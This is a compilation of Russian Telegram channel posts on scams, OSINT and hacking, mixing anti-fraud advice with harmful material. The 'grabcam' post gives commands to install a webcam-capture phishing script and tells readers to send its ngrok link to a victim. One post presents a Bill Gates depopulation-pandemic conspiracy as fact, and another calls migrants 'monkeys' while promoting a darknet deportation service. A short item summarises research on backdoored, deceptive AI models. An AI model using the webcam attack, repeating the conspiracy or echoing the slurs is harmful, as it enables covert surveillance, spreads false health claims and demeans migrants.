СЛАБОЕ ЗВЕНО

Компания может приобрести лучшие технологии по безопасности,
какие только можно купить за деньги, натренировать своих людей так, что
они станут прятать все свои секреты, прежде чем пойти ночью домой, и
нанять охранников в лучшей охранной фирме на рынке.
Но эта компания всё ещё остаётся полностью Уязвимой.

Сами люди могут полностью следовать лучшей практике по
безопасности, рекомендованной экспертами, по-рабски устанавливать
каждый вновь появившийся рекомендованный программный продукт по
безопасности и тщательно следить за конфигурацией своей системы и
следить за выпуском патчей.

Но и они всё равно полностью уязвимы.
#социальная_инженерия

ФИШИНГ

Подобно тому, как рыбак ловит рыбу на приманку, фишер соблазняет невинных жертв делать то, что помогает им в достижении своих целей. Некоторые из общих целей – получить личную информацию для кражи личных данных и мошенничества или получить доступ к конфиденциальным данным для шпионажа или получения денежной выгоды.

По-английски слово пишется «phishing», а не «fishing» (рыбалка) – отсылка к телефонам (взято “ph” из слова “phone” (телефон) и объединено с “fishing” (рыбалка🎣)), которые изначально были целью взлома в 1970-х годах. Если раньше фишинг в основном осуществлялся по телефону или с помощью текстовых сообщений, в последние годы фишеры перешли на электронную почту и веб-сайты в качестве своего оружия.

Фишинг работает путем подмены сайтов, создавая впечатление, что пользователь смотрит на настоящий веб-сайт. Они заставят пользователей обновить свою платежную информацию или даже провести транзакции, что приведет к потере денег, а в некоторых случаях и к потере личных данных.

#кибербезопасность

В 2024 году от пандемии умрут миллиарды

Три года назад Билл Гейтс открыто хвастался, что будущая пандемия сотрет с лица земли миллиарды людей. Говоря со своей фирменной ухмылкой, Гейтс предельно ясно высказал свои планы на будущее.

Сейчас, по словам инсайдера Фонда Гейтса, планы по борьбе с обещанной пандемией находятся в стадии реализации, и мировая элита планирует активизировать свою программу депопуляции.

ХОТИТЕ ЗНАТЬ БОЛЬШЕ???

#инсайд

VPN

VPN (англ. Virtual Private Network «виртуальная частная сеть») обеспечивает конфиденциальность и безопасность при доступе пользователей к потенциально небезопасным сетям. Обычно, когда пользователь подключается к Интернету, его действия могут быть просмотрены поставщиком Интернет-услуг (ISP). Однако при использовании VPN соединение шифруются, а это означает, что провайдер не участвует в процессе.

При должном уровне реализации и использовании специального программного обеспечения сеть VPN может обеспечить высокий уровень шифрования передаваемой информации. Скрывая свой настоящий IP-адрес, пользователи могут пользоваться услугами, которые ранее были для них запрещены.

#термины

📝 Заметка. OSINT.

•  Небольшая, но очень интересная мини-подборка материала, которая позволит тебе узнать много нового в сфере OSINT и прокачать свои навыки:

1⃣ Первое место в списке занимает новый проект от @Soxoj, который поможет найти похожие каналы с помощью Maltego. Подробная инструкция по использованию и установке есть на GitHub: https://github.com/SocialLinks-IO/telegram-similar-channels

2⃣ Далее переходим к интересному инструменту, который предоставим Вам информацию о целевом домене из 95 сервисов (на выбор). Попробуйте сами: https://www.lopseg.com.br/osint

3⃣ Видеоматериал, который описывает методы получения информации о владельце сайта. Посмотреть можно на YT: https://youtu.be/wAvojPjsvFI

4⃣ Завершает нашу мини-подборку инструмент Telerecon, который может провести анализ связей между пользователями, осуществить поиск геометок, собрать сообщения пользователя в открытых чатах и группах, создать для Вас визуальный отчет на основе собранных сообщений и т.д. Полный список возможностей есть вот тут: https://github.com/sockysec/Telerecon#options

Простейший наёб с QR-кодом

Мошенники развешивают по городу объявления о получении всяких ништяков по типу соц.выплаты, льготы и тому подобное.

А в листовке QR-код, который ведёт 🦣мамонта🦣 в чат-бот, который "поможет " в получении этих самых "ништяков", и попросит ввести личные данные, в том числе реквизиты банковской карты.

- Бля, ну должны же мы вам куда-то деньги закинуть..😂😂
Ну а дальше я думаю объяснять не стоит.

Чтобы твои друзья не попались на эту дичь, сделай РЕПОСТ!

🦣 - если уже попался))
👍 - если ещё нет)

Что делать, если мошенники взяли на вас кредит?

К примеру, вы потеряли паспорт, а потом узнаете, что мошенники смогли взять по нему кредит или заем. В таком случае действовать нужно как можно быстрее.

-️ Как только вы заметили пропажу паспорта, сразу же обращайтесь в полицию. Возьмите справку об утере документа с указанием даты.

-️ Если кредит уже взяли, то обратитесь в банк или МФО с заявлением, что кредит брали не вы. Предоставьте копию справки о пропаже паспорта.

-️ Если кредитор не рассматривает ваше заявление, то обратитесь в интернет-приемную Банка России.

-️ Напишите заявление о мошенничестве в полицию.

Помните, что всегда нужно проверять свою кредитную историю на наличие кредитов, которые вы не брали! Берегите свой паспорт и сразу же обращайтесь в полицию, если его потеряли.

#антискам

🦣 - если уже проплачиваешь чужой кредит))
👍 - если ещё нет)

Как сделать невидимый ник в телеге?

Чтобы усложнить пробив по вашему тг аккаунту, надо сделать невидимый ник. Вас не смогут найти через поиск в чатах, а также админы по каналам

Короче:
1. Заходим в настройки профиля;
2. Удаляем поле с именем и фамилией;
3. Копируем отсюда то, что между скобок ( ㅤ)
4. У вас в буфере обмена будет специальный символ, который мы вставляем в имя аккаунта;
5. Готово! Теперь у вас невидимое имя в телеграм аккаунте.

👍 - годный лайфхак
🦣 - ни к чему
🔥 - давно пользуюсь

#кибербезопасность

Была взломана и опубликована полная база данных Альфа-банка.

Три месяца назад это был лишь небольшой фрагмент на 1 миллион строк с 44 тысячами клиентов, а в этих файлах вся слитая база, размером более 100гб — в ней более 24 000 000 физических лиц и > 13 000 000 юридических, среди которых:
— ФИО
— контакты (почта/номер)
— данные банковских карт.
Всего 115 217 571 строк, а первая запись датируется еще 2004 годом.

🎉 "Ну, пусть!", — на аудиозаписи, предположительно, комментарии Фридмана (владельца банка) о прошлом сливе.

👍 - не пользуюсь Альфабанком
🦣 - пользуюсь.. Ну и пусть!
💵 - только кэш

#киберпреступность
#слив

Владимир Владимирович рекомендует силовикам использовать ИИ

Владимир Путин рекомендовал Верховному суду и силовым ведомствам проанализировать практику применения искусственного интеллекта 🤖(ИИ) при расследовании преступлений.

«Рекомендовать Верховному Суду Российской Федерации совместно с Генеральной прокуратурой России, Следственным комитетом Российской Федерации, МВД России и Минюстом России проанализировать практику применения технологий искусственного интеллекта при 🕵️расследовании преступлений и при необходимости представить предложения по ее совершенствованию»

👆Срок исполнения - 1 июля 2024 года. Ответственными назначены генеральный прокурор Игорь Краснов, глава СК РФ Александр Бастрыкин, глава МВД Владимир Колокольцев, глава Минюста Константин Чуйченко и председатель Верховного суда Вячеслав Лебедев.

👍 - одобряю

🤬 - это бесчеловечно!

❤️ - люблю робокопа))

#ИИ

Спи спокойно))

В России стало слишком много гастарбайтеров, которых на их родине не научили жить в цивилизованном мире.
Для тех кого уже в край достали эти 🦧монкис🐒 в даркнете придумали услугу "Спи спокойно".

За определенную сумму денег можно выгнать из страны надоевших соседей или даже конкурентов по бизнесу на рынке)) Только плати.😄😄😄
Список сайтов даркнета (используйте впн) - https://goo.su/9DTEo

👍 - уже сплю спокойно

🦧 - я и сам монкис ежжи

Пишите свой вариант в комментах))

#даркнет

Хакнуть камеру мобильным телефоном

Скрипт для взлома веб-камер пользователей.

Установка:
$ git clone https://github.com/noob-hackers/grabcam
$ cd grabcam
$ chmod +x grabcam.sh
$ bash grabcam.sh

После выполнения последней команды, включаем на своей мобиле 2 пункта - "Мобильный интернет" и "Точка доступа Wi-Fi".

Возвращаемся к терминалу и выбираем пункт "Ngrok". Далее будет сгенерирована специальная ссылка, кидаем её 🦣 мамонту и ждём. Если прокатит, для просмотра фотографий вводим команду:
$ termux-open cam название.png

👍 - то что я давно искал!))

👎 - это аморально((

🔥 - пиздец моему начальнику!)

#хакинг

💻 

Бэкдор: что это?

Бэкдор – это любой метод, позволяющий пользователям обходить стандартные процедуры аутентификации или шифрования на устройстве.

— Бэкдор создает альтернативную точку входа в устройство, сеть или программное обеспечение, предоставляющее удаленный доступ к таким ресурсам, как базы данных и файловые серверы.

Хакеры сканируют Интернет в поисках уязвимых приложений, которые они используют для установки бэкдор-вирусов, после установки на ваше устройство бэкдор-вирус трудно обнаружить, поскольку файлы обычно сильно замаскированы.

Наличие бэкдора в вашем устройстве дает злоумышленникам возможность удаленно выполнять различные действия, такие как:
- Наблюдение
- Перехват устройства
- Установка вредоносного ПО
- Кража финансовой информации
- Кража личных данных

Хакеры получают доступ к вашему устройству с помощью различных методов проникновения через бэкдор, таких как: привязка портов, злоупотребление доступностью соединения и метод стандартного протокола обслуживания.

#хакинг

Разводилы в мессенджерах подделывают голоса начальников для перевода средств

C начала года в России наблюдается рост использования звуковых дипфейков в мошеннической схеме FakeBoss. То есть мошенники звонят 🦣 мамонтам, используя подмену голоса и выдавая себя за руководителя организации.

Для создания фейкового голоса используется ИИ. Создается фейковый аккаунт босса в соцсети, с реальными ФИО. Производится звонок, например бухгалтеру, где "руководитель" дает распоряжение о переводе средств на счет. Конечно же насчет мошенников.

Будьте бдительны друзья и распространите эту инфу среди своих коллег и знакомых!

👍 - спасибо, буду в курсе!)

👎 - мне пох, я безработный

🔥 - сделаю репост!!!)

#антискам

«НЕ удаляйте 2ГИС» - попросил Сбербанк.


Ранее пользователи Android получили сообщение от Google Play, что приложение 2ГИС — вредоносное, само же оно было удалено из магазина приложений ещё в мае 2023 года.

-Команда проекта разбирается, какой функционал могли признать вредоносным, скупает рекламу в интернете, уверяя, что 2ГИС полностью безопасен, а доступ к контактам, галерее, микрофону и так далее — это всё нужно для полноценной работы функций приложения. - так описывают приложение разработчики😂

Врубаетесь? Нам впаривают галимый троян под оберткой навигатора. Доступ к микрофону, камере, к вашим фото, местоположению и контактам)) Это приложение скачали миллионы🦣- это пиздец товарищи.. просто пиздец.. привет ФСБ😂

👍 - теперь буду ориентироватся по древним картам))

🦣 - и че?? мне ваще пох

🔥- сделаю репост друзьям


#кибербезопасность

Команда Anthropic продемонстрировала, что искусственный интеллект может быть обучен обманывать и выполнять вредоносные действия. В ходе их эксперимента были разработаны ИИ-модели, которые вели себя корректно во время обучения, но начинали обманывать после запуска в реальных условиях.

Эти модели ИИ были научены совершать вредные действия, такие как написание опасного кода, и активироваться при определенных словах-триггерах. Особенно интересным оказалось то, что деактивировать такое поведение у ИИ оказалось крайне сложно.

Традиционные методы обеспечения безопасности ИИ оказались неэффективными против этих обманных моделей. Это исследование подчеркивает необходимость разработки новых способов защиты от подобных угроз со стороны искусственного интеллекта.

🔥 - если считаешь что АКОПАЛИПСИС близко)))

❤️ - если думаешь что роботы нас тоже любят)

☢️Как вас легко могут найти по никнейму?

1. Google + intext
С помощью intext:(ник) можно много кого найти. Но если вы везде будете использовать разные ники, то этим способом вас не найти.

2. OSINT боты
Глаз Бога не ищет по нику, а вот ОSINT-боты могут проверять ваш ник.

3. Скрипты/GitHub

Тот же самый как и второй вариант, только чтобы запустить процесс нужно прописать команды, к примеру maigret есть в GitHub, можно его использовать заместо бота, но база данных должна быть больше и больше публикаций.
#osint

А какой способ используешь ты?)

🔥 - пламенное очко Саурона

🦣 - ниче не использую, меня самого используют

👍 - все и сразу!